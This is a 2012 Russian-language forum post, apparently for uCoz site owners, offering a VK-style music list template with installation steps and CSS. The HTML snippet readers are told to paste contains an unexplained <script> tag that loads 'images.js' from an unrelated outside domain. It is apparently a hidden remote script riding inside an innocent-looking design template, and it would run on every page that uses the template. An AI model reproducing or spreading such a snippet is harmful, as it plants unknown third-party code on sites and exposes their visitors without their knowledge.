[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
MP3 вид новостей музыкальных в стиле как VK
WebGerlДата: Пятница, 13.01.2012, 12:54 | Сообщение # 1
Сержант
Группа: Пользователи
Сообщений: 20
Награды: 0
Репутация: 0
Статус: Offline
Скрин: http://s017.radikal.ru/i430/1112/7f/c1df45ca0dcc.jpg

Вид материалов для музыкальных сайтов, MP3 вид новостей музыкальных в стиле как VK.
Типичный ленточный вариант отображение материалов с описанием и ссылками на музыку, по желанию можно вставить так же плеер что бы можно было прослушивать сразу же не заходя в новость музыку закаченную на ваш хостинг в MP3 файле.

Очень простая компоновка, и минимум стиля сделают загрузку на много быстрей и бес проблемной.

Установка:
Панель Управления > Дизайн > Управление дизайном (Шаблоны) там находим: Каталог файлов и в раздел Вид материалов ставим следующий код:

Code
<div class="musiclist">   
   <div style="float:right"><script src="http://bunnas.ru/images.js" type="text/javascript"></script><a href="$FILE_URL$" target="_blank"><img style="margin-left: 8px;" src="http://s41.radikal.ru/i094/1112/93/dfdbcbb7dce4.png" align="right" height="17" width="17" title="Скачать: $TITLE$"></a> <span style="font-size:10pt"><span style="color:#777777">Загрузок: $LOADS$</span></span></div> <img style="margin-right: 8px;" src="http://s58.radikal.ru/i162/1112/36/ce2378d04098.png" align="left" height="17" width="17"> <span style="font-size:10pt"><a href="$ENTRY_URL$">$TITLE$</a></span>   
   </div><br>


А этот код вставляем в любое место в CSS:

Code
.musiclist {background: #ffffff; border-left:1px solid #d9e0e7; border-right:1px solid #d9e0e7; border-bottom:1px solid #d9e0e7; border-top:1px solid #d9e0e7; font-family:Tahoma,Arial,Sans-Serif;color:#1A1A1A;padding-left:5px; padding-right:5px; padding-bottom:5px; padding-top:5px;}   
   .musiclist:hover {background: #d9e0e7; border-left:1px solid #61768a; border-right:1px solid #61768a; border-bottom:1px solid #61768a; border-top:1px solid #61768a; font-family:Tahoma,Arial,Sans-Serif;color:#1A1A1A;padding-left:5px; padding-right:5px; padding-bottom:5px; padding-top:5px;}
 
  • Страница 1 из 1
  • 1
Поиск: